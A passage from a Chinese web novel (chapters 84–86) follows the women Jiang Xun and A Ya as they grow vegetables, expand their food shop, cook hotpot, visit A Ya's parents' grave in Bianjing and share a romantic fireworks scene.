女将噌一下就站起身,阻止道:“那些都是长公主花了大价钱从天南海北搜寻来的!很是珍贵!你放肆!” 听到她如此严厉的指责,江浔动作果然停顿下来。 却也只是停顿一息后,开口道:“那正好,卖了还有钱赚。” 第84章 释放 “你你你……!”女将指着江浔半天说不出话, 也不知道该说些什么。 长公主有说过,等这件事过去,房子就会给江浔和阿雅二人。 到那时她们二人想怎么处置房子里的东西,她都管不着。 既然如此, 那她现下管这些也没有意义啊? 女将思来想去, 最终口中“哎呀”一声, 把指着江浔的手放下去。 放下后,还是觉得气不过又抬手指着江浔,指了两下,眼中露出看不要脸宵小的表情,再次重重叹口气把手放下,抬着椅子坐在花园另一边, 不去看江浔。 阿雅在旁边看的露出一抹笑, 心情好上不少。 江浔哪管那么多啊,拿出小铲子就开始铲花园里的土。 不过她也没有那么土匪, 都是小心翼翼的, 把花园里的植物根系连带着根系抓紧的土, 全都给挖出来。 立在一旁。 这里的花娇嫩,江浔想着明日在大宅院中找找有没有花盆, 把花装在花盆中, 填一点黑土, 再施一点肥,这样那些花才能活下来。 现在,她当然是先顾着自己的菜要紧。 种菜要不了多少地, 江浔挖掉三株牡丹, 就差不多了。 她从自己带来的包袱里,小心轻柔地拿出自己带来的菜。 三株番椒全部带来, 还有五株只发了绿叶,没有开始生长的土豆。 至于番柿,由于太长还被绑在木杆上,不好携带,江浔就只能祈祷它们生命力顽强,能自行活下来了。 番椒经历那么一番折腾,上面挂的椒掉了大半,只剩几颗还孤零零挂在上面。 江浔把番椒立在挖出的土坑里,用铲子从周围匀了点土出来,把番椒的根系给埋进去。 填平。 三株番椒叶片朝下垂落,早就蔫哒哒得了,重新种到土里也没有好一点。 把土豆也种好,江浔才把手拍干净,站起身活动蹲到有些僵硬发麻的身体。 她重新坐在椅子上,欣赏自己种的菜。 番椒能开出小小一朵,花瓣尖尖的白色小花,点缀在绿叶之中像满天星一样。 土豆能开出白色或淡紫色一团一团簇在一起,长着黄色花蕊的小花,典雅清新很是好看。 等它们盛开的季节来临,怎么样都不比其它花差。 江浔对这些菜很满意,以后把整个花园中都种满菜,开得姹紫嫣红,指定人人来都说好看! 四人在院中赏景赏到夜深。才收拾收拾,准备回房睡觉。 女将当然是不能睡的,她抱着自己的大刀,坐在床上闭目养神。 江浔阿雅二人洗漱完,回到自己房内。 里面被关着的两只鸡和小三花看见她们回来,瞬间活跃起来,冲着她们叽叽喳喳乱叫。 听声音,估计是在谴责她们没有心,居然把它们关起来。 无法,两人费劲巴拉把鸡和猫安抚好后,才亲亲密密躺在床上。 阿雅深深埋进江浔怀中,浑身力气撤下,身形蜷缩,情绪翻涌。 她太累了。 从得知真相起,她就开始强撑着让自己看起来正常些,让自己看起来是不需要人担心的模样。 黑夜降临,躺在床上后,她终于有了喘息的机会,让自己的脆弱暴露出来,让自己去依赖江浔。 “没事了没事了,一切都会过去的。” 屋中,昏黄的烛火跳动,在两人脸上印出一些暖光,看起来很是温暖与寂静。 江浔慢慢拍着阿雅的背,像是妈妈哄小孩子一般,柔声的安慰她。 她身体的温度很高,怀抱也很宽阔,能让阿雅全身心依偎在其中。 “等这件事结束,我就和你一起去看望父母,你要是想,可以把他们接到清水镇,和我父母葬在一起。” “他们四个还可以在下面谈天说地呢。” “我们把生意做大,以后日日买好东西去看望他们,让他们在下面生活的可好了,要什么有什么,呼风唤雨,岂不更快乐?” 江浔慢慢说着,安定感油然而生。 阿雅紧紧贴在她怀中,汲取着力量,一刻也不想分开。 烛火渐渐熄灭,阿雅也被哄睡过去,江浔眯着眼迷迷糊糊的,有听到外面窸窸窣窣的声音。 但想着离她们这里远,还有女将守着,便也没管,就这么睡了过去- 第二日,天还未亮,外面就响起来来回回的脚步声和人说话的声音。 江浔阿雅二人被吵醒,在床上懒了好一会儿才起床。 出门,就看见一个类似管家模样的人,正指挥着其它下人来来回回的清洗地面。 水似乎是拿花瓣泡过,倒是让清晨的空气更加好闻些。 看见她们出来,管家笑着对她们说道:“将军和驸马在前厅等着二位呢,二位洗漱完就可以去用饭了。” 说着还拍了拍手,立马就有两个下人端着盆呈着帕子,举在她们面前。 江浔:…… 略微有点不习惯,但还算能接受。 洗漱完,又把鸡和猫交给管家照顾,二人才来到前厅。 发现那大方桌上竟然摆放着八荤八素,好不奢侈。 女将道:“他们都是长公主派来的人,有用着呢。” 她们四人至少要在这院中待满一月,才有可能出去。 要是皇城中局势不好的话,有可能待得更久。 长公主怕苦到自己的驸马,专门派了那么多人来伺候,也是来保护的。 要真是局势不对,这些人也能带着驸马逃离此处地方,去到天涯海角。 吃完早食,江浔就让管家去找花盆,把那些牡丹花放入花盆之中。 然后大半夜的她再去花园之中,给番椒和土豆以及牡丹花添肥和土,保证它们能活下去。 接下来的一段日子,江浔阿雅无所事事,就拿着厨房有的菜,开始研哪些菜能种活。 她们渐渐把小半个花园中的花都给挖了起来,全种成菜,而花则种到能找出来的任何罐子盆子中。 如此折腾,菜和花居然都活得很好。 甚至在冬日里还绽放出生机,一副要开花的模样,真是奇了怪了。 折腾完花园里的花,江浔又开始研究各种吃食,连牛乳茶的小料都研究出来好几种,就等着被放出去,用在食铺中。 而阿雅则又开始拿起笔写自己的画本子。 正好这段时日她闲着没事做,就有更多的时间写东西,创作欲爆棚,十来万字的小短篇,她不到十日就能写完。 两人在这里潇潇洒洒的生活,看着好,心中却很是担忧食铺和江家村的菜地无法运转。 不过她们得担忧纯属多余。 食铺和江家村的菜地她们去的次数都不多,每七日能去上一次就很不错了。 所以这数十日没去,两个地方也没有觉得有什么不对,只以为她们是有其它事要忙,所以才没来的。 再加上其实这些根本不用江浔和阿雅二人操心。 江家村的菜还要好久才成熟,短工们只用每日看着点菜地,浇浇水施施肥。 即便有菜成熟了,她们也能自己收取好,然后送分别送到豆腐铺和徐浆娘那里。 徐浆娘则做好两样土豆,再由江浔曾经雇好的送货娘送到成都府。 成都府那边,陈厨子一人加几个小二就能打理得明明白白。 一套流程下来,居然在不知不觉间解放了她们二人,即便没有她们,也不会乱套。 而阿雅是文圣的事,确实早已传遍大江南北,但反倒是离得最近这几个人,都没有反应过来有什么。 江家村的短工包括江家村所有人,知道是知道这回事,但都没有把这件事和阿雅联系在一起,只以为是某个同名同姓之人罢了。 即便有人说那个文圣雅就是清水镇打铁铺中的阿雅,大家也是不相信的,还笑着说那别人是扯谎的。 成都府里的陈厨子就更不用说了,根本不知道阿雅有在写话本,也只是听说清水镇出了个文圣,还想等江浔和阿雅什么时候来,向她们打听打听呢。 至于谭婆婆徐浆娘她们,基本算是看着那件发生的。 后续想要找江浔阿雅二人时,完全找不到她们了。 打铁铺也被从其它地方来的文人堵住,要是谭婆婆徐浆娘敢透露认识阿雅,恐怕要被围起来问个清楚,不然不给走嘞。 算来算去,竟然只有李屠妇和其赘夫知道点内幕,但也不知江浔阿雅二人去了何处。 只能在心中祈祷二人没事。 日子一天一天过,就在二人都快数清整个大宅院铺了几块砖,垒了几堵墙时。 当今圣上被恶鬼迷了心智,长公主暂替其治国之事,已经乘着风打着旋儿,上上下下传了个遍。 连三岁孩童都知,是圣上亏心事做太多,才让恶鬼乘趁虚而入的。 至于什么亏心事呢? 百姓们心里各有安排。 终于听到长公主胜利的号角,江浔阿雅田糖棠三人又在大宅院中待了三日,确定没危险后,才被女将放出去。 一获得自由,田糖棠就打算去找长公主,但女将不让,说是长公主还没有命令。 听的田糖棠脸都气红了,深吸几口气后,才咬牙切齿道:“那我和她就此生不复相见!她也别来找我了!” 女将:…… 突然觉得自己脖子上凉凉的,感觉不太好活呢~ 最终,她还是带着田糖棠去找长公主了。 田糖棠和女将走后,江浔阿雅二人先是去食铺,把新研究出来的各种吃食方子给陈厨子。 后又打算去打铁铺,把里面放着的金银珠宝给搬出来。 哪想她们刚进入青石板街,就发现这里早就被堵得水泄不通。 许多文人铺了块布在地上,就坐在打铁铺门外,守着守着什么。 见到她们靠近,文人们还纷纷围了上去,询问她们是否认识阿雅。 那些文人脸上有的狂热、有的愤怒、有的悲伤,都是一副精神状态不太正常的模样。 江浔心里一跳,赶忙否认自己和阿雅认识阿雅,直接甩动缰绳,让马车赶紧离开这里! 第85章 经历此事,白日是断不能去打铁铺了,想拿回东西必须晚上去才行…… 经历此事, 白日是断不能去打铁铺了,想拿回东西必须晚上去才行。 夜晚去的时候,江浔是独自一人去的,把马车停在一条街开外的地方, 自己用上疾风步、大力决、千里眼顺风耳等等。 翻墙爬屋顶, 偷摸遛进打铁铺中。 好在暂时还没人闯进打铁铺, 铺子里的东西都还在。 江浔先扛起几箱金银珠宝,飞速往马车的方向跑。 夜色太黑,即便有巧合间看向江浔方向的人,都只会觉得有一**,带起一片黑影刮过。 根本看不清是谁。 江浔来回跑了几趟,把所有箱子搬完之后, 又开始收拾着两人的其他物品。 衣服被子全带上, 虽然被子她们已经有新的了,可这床十二斤重的被子也是才做没多久的。 要扔还有点舍不得。 还有灶台上的锅碗瓢盆, 也是用顺手的, 得带上。 之后是铺子中她自己打的各种铁具, 或还没有用的铁块,全都带上。 要是以后不能回到打铁铺, 那就在成都府租个铺子打铁。 最后, 江浔为院中的番柿浇水施肥, 让它们好好活下去。 这才扛着梳妆台离开这里。 马车早就放不下了,把江浔挤来骑在马背上。 不过最主要的是马已经拉不动了! 马车上至少堆了几百斤的东西,那匹枣红马用尽全身力气努力朝前奔, 硬是一点没拉动。 试了几次, 枣红马罢工了,冲着江浔嗤出一口气, 还用马尾巴扇江浔。 站在马旁边,江浔扣扣脑袋,尝试着把大力决用在马身上。 还别说,真可以。 她抽了一下马屁股,马“erhhh——”一声跑了起来! 能拉动马车,连马自己都没想到,马脸上出现惊讶的神色,更加用力跑了起来。 后续江浔又给它加了个疾风步,让它跑得更快些。 回到成都府迎凤街的大宅子中,江浔把大件的东西往里般,小件的阿雅帮忙搬着。 很快便整理完毕。 宅子中其它人已经跟着女将走了,没有那么多人在,反倒让江浔阿雅二人放松些,可以自己悠闲的做点想吃的、好吃的。 长公主倒是慷慨大方,又是送宅子又是送钱的,让她们一跃成为大富豪了。 这下真得好好思考,那么大一箱黄金该怎么用了。 江浔:“我们先多租些地,全部种上菜,以防不够用。” 阿雅:“铺子也要多开几家,多请些人,这下我们不用挑地段了,就算租在最繁华的地段,我们也是租得起的。” 是的,如此想着,江浔就觉得自己浑身热血沸腾,仿佛有用不完的力气,想要大干一场! “好!今夜我们先休息,明日就开干!” 江浔抱住阿雅,本想亲亲阿雅的。 哪想有东西比她动作更快,飞速扇着翅膀扑腾过来,一口就叨在江浔腿上,叨的阿雅倒吸口冷气。 怒气冲冲瞪向小鸡壹号! 干什么!平日里对它还不好吗!居然学会叨人了! 小鸡壹号扑腾着翅膀,表情也很愤怒,跟成精了似的,口中边“咯咯咯”说着什么,边来回踱步。 看那模样,似乎在骂江浔。 江浔:…… 眉毛一竖,“什么意思?偷偷骂我是不是?” 小鸡壹号:“咯咯咯,咯咯咯,咯咯咯!” 江浔:“……”完全听不懂。 小鸡壹号恨铁不成钢,同小鸡贰号依偎在一起蹲下,头靠着头,闭眼假寐。 小三花也挤在它们身边,睡做一团。 “嘶……”江浔反应过来了,她忘把鸡窝搬过来了,“好好好,你们真是我祖宗。” 她扭头向阿雅道:“我去去就回,你先睡,别等我。” 说完站起身走出去一步,又回身在阿雅脸蛋上亲了一口。 这才安心的出去。 “快去快回。” 阿雅坐在床边,眼神跟随着江浔的背影,直到彻底看不见才收回,顿一下后,慢慢躺进被子里。 蒙住半张脸,只留出一双眼睛,眨巴眨巴等江浔回来- 第二日,两人开始忙活起来,只在江家村租地是不够的,她们又跑了周边好几个村落,把能买的地全部买了,能租的地全部租上。 请人种地。 地一下变多,原本一直囤着用不完的黑土和肥料,一下就用空了,甚至还有些不够。 为了解决这个问题,江浔甚至每日还抽时间到食铺里卖牛乳茶,多获得盲盒次数,抽土壤和肥料。 她们那间食铺已经爆火,成都府里好些人都是慕名前来喝牛乳茶、吃炸鸡的。 一楼有些坐不下,两人又把二楼三楼都给租了下来。 二楼就用来做包间,那些文人墨客或有身份的人来,就可以使用。 至于三楼,江浔有私心,把三楼做成大厅。 但只接待女客。 她还在大厅中立了许多书架,放上许多经过阿雅挑选的书文、诗集。 当然,阿雅自己的书是最多的。 再放上笔墨纸砚,打造成女子们学习交流、吟诗作对的地方。 女子们点杯牛乳茶就可以上三楼。 至于在成都府最繁华的路段租铺子之事,只能暂且搁置一下。 要等新土地上长出菜,她们才可以去租。 日子过得红红火火,一晃眼就要开春了。 一日早晨,她们出门之际,居然看见雕花红木门上插着一把小刀模样的飞镖。 一张纸被飞镖钉在红木门上。 两人对视一眼,都有些疑惑,江浔还以为是哪个友商给她下的挑战书么。 结果取下纸一看,她的双眼猛地瞪大,直接把纸递到阿雅手中。 让阿雅去看。 【赵辞已死 裴家肃清完毕】 看见这短短两行字,阿雅心中也颤了一下。 赵辞就是曾经的圣上。 而裴家……她的仇终于报了吗? 江浔朝阿雅靠了靠,随时准备抱住阿雅,为她缓解情绪。 可阿雅只是把* 纸叠在一起,冲江浔抿唇摇摇头,表示自己没事。 大仇得报,她怎么会难过呢?魔.蝎.小.说.m.o.x.i.e.x.s..c.o.m &m.o.x.i.exs& 【正文完】 第86章 烟花下的爱意 赵辞已死之事还没有昭告天下, 两人想了想,把纸条带到家中,浸水揉成团,达到毁尸灭迹的目的。 处理好后, 江浔想着如此高兴之事, 当然是得做顿大餐, 庆祝庆祝啊! 在冬日里只有吃火锅才是最正确的,又辣又暖,再配上牛乳茶,简直不要太美妙! 其实这里也有同火锅类似的吃法,那就是涮肉。 多为涮羊肉和涮兔肉。 把羊肉或兔肉炖煮软烂,再烫些菜下锅, 白味的涮肉就做好了。 其味道鲜美, 香气四溢,让人吃过一次就难以忘怀。 但今夜江浔要做的是辣爽无比的红味火锅! 白日两人忙完后, 就一起去到菜市肉市, 买了许多要用到的食材和香料。 回到家中后, 江浔就直接站在灶台边,准备开始做火锅底料。 阿雅站在一旁, 看着那么大一盘番椒和茱萸, 默默询问道:“会不会太辣了?” 江浔:“怎么会?只会很香的!” 锅中热油放入大葱小葱、姜、香菜、番椒茱萸、花椒八角……等一系列调味料, 不要舍不得,油和调味料都要多,才能出香味儿。 等锅中炒的冒热油烟, 那呛人味都压不住时, 再往锅中放入一把冰糖、半坛酒,大量盐和酱油用来调味。 等差不多冰糖化了, 就可以加入大半锅水,熬成火锅汤底了。 等汤在锅里熬着,江浔和阿雅二人在一旁准备着烫火锅的食材。 肉类主要是羊肉和猪肉,把两大块瘦肉切成薄片,用葱椒蒜、酱油、酒腌制起来去腥,再把蔬菜类都淘洗一遍,放在一旁沥水。 江浔想吃土豆,所以就在一旁切着土豆。 阿雅是头一次听说火锅这个东西,但能意会到,基本就是在辣油中烫东西吃。 她想着可能单吃火锅会有点无聊,就煮了点香肠腊肉。不多,只有一小盘子。 哪想,开吃火锅之后,她居然一点都停不下来,辣的嘴唇红肿,满头大汗也不愿意停。 因为火锅要架在火上才行,两人就搬了两条椅子,围坐在厨房中,灶台上放满食材。 羊肉片猪肉片切得很薄,基本是筷子夹着往锅中烫个十来秒,变了颜色,就可以吃了。 没有香油,两人的蘸料碗里打的是原汤,更是辣上加辣。 吃的两人“斯哈斯哈”的。 还好阿雅有先见之明,觉得肯定会辣,提前做好牛乳茶后,没有保温,直接放在一旁晾凉。 天气太冷,直接把牛乳茶弄成冰的了。 现下两人辣的嘴巴舌头全是红的,一口冰牛乳茶下去,一下就冷静下来。 “嘶,好好吃。”阿雅被辣的张开嘴,不断小口吸气,同江浔对视上,发现江浔已经被辣的擤鼻涕了,立马笑出来,“浔姐姐,以后别做那么辣了。” 听到她这么说,江浔眉毛挑起,明明整个人都被辣红了,却还不承认,嘴硬道:“就这样才爽!” 其实她还知道很多火锅汤底的做法,什么番茄锅、酸汤锅、菌汤锅等等,但这么久以来她最想吃的,还得是红锅。 被辣几下,就爽了,心里就舒服满足了。 当然,如此放纵的下场就是两人双双腹痛难忍,生无可恋,好几日才有所缓解。 为了推行火锅,腹痛好后的几日,江浔就在新租的打铁铺中,开始研究铜锅怎么做。 她打算做一个铜的小炉子,炉子下方放炭火,上方放火锅。 这样就能保证客人们能一直烫菜吃。 倒是不难做,她本身就是知道形状的,只用多复刻几遍就能做出。 但后续的大量产出,也花了她将近半月的时间,才让食铺每一张桌子,都配上一个铜炉铜锅。 当最后一个铜炉敲打出来时,江浔几乎是迫不及待就放下手中的钳子和锤子,站起身伸懒腰,口中哼哼唧唧。 阿雅就在不远处的桌子上写话本,听到她的声音也没有理她,继续奋笔疾书着。 江浔哼了几句,发现阿雅不理自己,就开始在阿雅周身转来转去,想要引起注意。 结果一点用都没有,阿雅忙着呢。 好吧,见实在得不到关注,江浔又在她对面坐下,趴在桌子上,一双眼睛眨巴眨巴看着她。 阿雅穿得毛茸茸的,脖子上围了一圈毛领,身上披了件红色大氅,衣裳则是有点点傲雪红梅点缀的白衣。 很是好看,整个人显得灵动精神,让江浔挪不开眼。 就这样趴着看呀看,不知过了多久,阿雅终于把笔放下,长舒出一口气。 “写完了?” 阿雅点点头,笑着道:“写完了,浔姐姐等着急了?” 江浔没回,只道:“我们去汴京城吧?明日就去如何?” 汴京城? 阿雅眼睛瞪大了一下,“怎、怎么突然想到要去汴京城了?” “我们又忙又累那么久,是时候出去散散心了!”两人忙起来没个头,自从上次被关放出来,又是快两月没有休息过了,这哪里能行?是该出去玩玩了! “我还没去过汴京城嘞,带我去看看?顺便也见见咱妈咱爹?” 说到要见父母,阿雅就想起自己也许久未去父母坟前祭拜了。 “好。”她重重点头,心被提了起来,有些不安又有些迫切的想去看望父母- 说走就走,第二日两人没有收拾什么东西,轻装上阵,把两只鸡和小三花拜托给陈厨子照顾,驾着马车就往汴京城出发。 汴京城离成都府远,没个十天半月到不了,但出发后两人反倒不着急了。 每到一处地方,都停下来玩耍休憩,把大半河山看了个遍。 遇见了很多人,也在很多处地方说过以后一定要来开铺子。 当靠近汴京城时,阿雅有些胆怯了。 她怕能在这里遇见熟悉的人,回忆起她并不想回忆的过去。 江浔安慰着阿雅,两人没有立即进城,而是在城外赏了会儿景,临近关城时才进去的。 趁着夜色,也没人会注意到她们,她们也不会注意到别人。 自然也不会碰见什么人。 挑了汴京城最奢华的酒楼入住,体验感直接拉满,江浔躺在床上口中不自觉喟叹出声。 一分价钱一分货,真是比她们经过的其它几个府的床,舒服很多。 裴家祖坟在城外,修整一日后,江浔提着炸鸡、牛乳茶、一大摞纸钱跟着阿雅前去。 路上时,阿雅数次看向江浔手中的炸鸡和牛乳茶,屡次想要开口说什么,却在接触到江浔脸上自信地笑容时,咽了下去。 算了,反正该带的东西她都带了,浔姐姐就带点想带的吧。 等到了裴家祖坟,入目一片荒凉,落叶落在上面直到干枯,再被下一年的落叶覆盖住。 一层一层,脚踩在上面都有些像踩在云端,走不稳。 祖坟这边是需要专门花银子找人打理、维护才行,可看现在这副模样,不知多久没人管了。 两人对视一眼,什么话都没说,埋头开始打理起来。 江浔也顾不得脏,把所有落叶拢在一起,抱来扔在远处。 来回跑了十来趟,才把落叶清理完,露出原本的模样。 这是一座立碑双墓,看得出来当初修建之时还是费了心思的,异常庄重、肃穆。 只不过现在蒙上一层灰。 看着如此荒凉的模样,阿雅跪了下来,拿出自己的帕子,慢慢地擦着碑上的灰。 “娘,害你们的人已死,我如今过得很好,虽经历了许多事,但遇见了良善之人,一路走来相濡以沫、琴瑟和鸣,你们不必担心。” 江浔在她身旁也跪了下来,把炸鸡、牛乳茶放在碑前,点燃纸钱慢慢烧着。 火光映照的两人脸发红,江浔道:“娘你好,我叫江浔,成都府清水镇人士,遇上阿雅是我之幸,我会好好待阿雅的。” “炸鸡和牛乳茶是孝敬你们的,如今的年轻人都爱吃,你们也尝尝。” “爹你也好,我爹在清水镇,你要是无聊了,可以去找他下棋。” “他是个臭棋篓子,又菜又爱。” 阿雅:…… 她虽听不大明白,但能听懂其中的意思,明明眼中都续上了泪水,结果被江浔的话给整破功,破涕为笑, “浔姐姐,你可真是……随性啊……” 阿雅眼下、鼻尖通红,无奈地看向江浔,同江浔靠在一起,慢慢地烧着纸钱。 纸钱烧完之时,火焰打着旋,带着些许灰烬向上飘着。 异常引人注目。 江浔立马道:“看,说不定是咱娘认可我了。炸鸡和牛乳茶那么好吃的东西,怎会有人不喜欢?” “是是是,浔姐姐那么好,我娘喜欢得不行呢。” 有江浔在,原本一件悲伤的事,也变得不那么悲伤了。 阿雅恍惚间觉得,好像以前发生过的所有都离她很远。 而她,只要在意离她很近的江浔就好- 回到汴京城后,时间还很早,江浔阿雅二人就去了趟裴宅。 裴宅已经空了,一个人也没有,但值钱的东西都还在。 一看便知那些人是真的被长公主处理了,而不是跑了。 她们没有在裴宅多逗留,而是直接到街上闲逛。 今日汴京城内好似有什么热闹事,大家都聚在了街上,街两边也摆满了各种小摊。 小摊上放着当下最时兴的东西。 有女子们的头钗,男子们的簪花等,都是大家最喜欢的款式。 还有舞龙的、杂耍的、说书的,热热闹闹,好不欢快! 两人被欢声笑语感染,一手提着买得各式各样的东西,一手拿着小吃,边走边看边吃,眼花缭乱,应接不暇。 走到一处湖边时,两人学着其它人的模样,坐在石块上,赏着满湖碧绿,以及近处皆若空游无所依的小鱼。 她们身旁有许多人,都是些小姑娘小男子,似乎在互赠东西,你赠我瓜果我赠你花朵。 本来江浔都还没反应过来呢,结果无意间看见好几对小年轻都这样做后,她才突然反应过来今日是不是互相表达爱意,互诉衷肠的日子? “阿雅,你这里等我一下,我去买点东西。” “什么?”阿雅抬头看向站起身的江浔,有些不想自己一个人待着。 江浔又蹲下身,同她额头抵着额头,“我很快就会回来的,在这里等我。” 说完,江浔站起身,认定一个方向后赶忙跑起来,想快去快回。 但还是回来得有些迟了,她拿着满手的东西,踏着晚霞跑得气喘吁吁的。 却看见阿雅身旁站了个男子,似乎在和阿雅说什么。 江浔:…… “阿雅!”江浔喊了一声,直接上前,仗着自己力气大,肩膀一撞! 那男子就跟个小鸡仔似的飞了出去! 江浔才不管那男子怎么样了,直接把手中东西拎起来,脸上笑容灿烂,“看,我带了什么回来!” 那可真是琳琅满目,有满篮子的瓜果,也有一大把鲜花。 最重要的是,还有她抱都快抱不下的烟花爆竹。 “你怎么买这么多?”因被纠缠而面无表情的阿雅,脸上重新出现温柔笑意,拉着江浔的手腕坐了下来。 “我看他们都在送东西,也想送你东西。”江浔把鲜花递到阿雅怀中,这些花都是那些卖花的婆婆早起去城外摘的,还很新鲜,有浅淡香味,让人心情不自觉变好,“很配你。” “还有这瓜果,也都是给你的。” 看着那么大一堆东西,阿雅真是被江浔的心意撩拨的自己心都在怦怦直跳。 脸也有些发热。 她想亲面前之人。 非常非常想。 阿雅扑进江浔怀中,带着被爱意填满的整颗心,吻上江浔的唇! 周围似乎传来一些惊呼,可她们管不了那么多了,只想同身旁之人融化在一起, “砰——!” 湖面上炸开烟花,绚烂夺目,五光十色,为夜空与碧波都作上一副画。 她们身后,那个被撞开的男子好像还在说着什么。 可谁都没功夫理他。 她们忙着爱身边的人都还来不及呢。 正文完!魔.蝎.小.说.m.o.x.i.e.x.s..c.o.m &m.o.x.i.exs&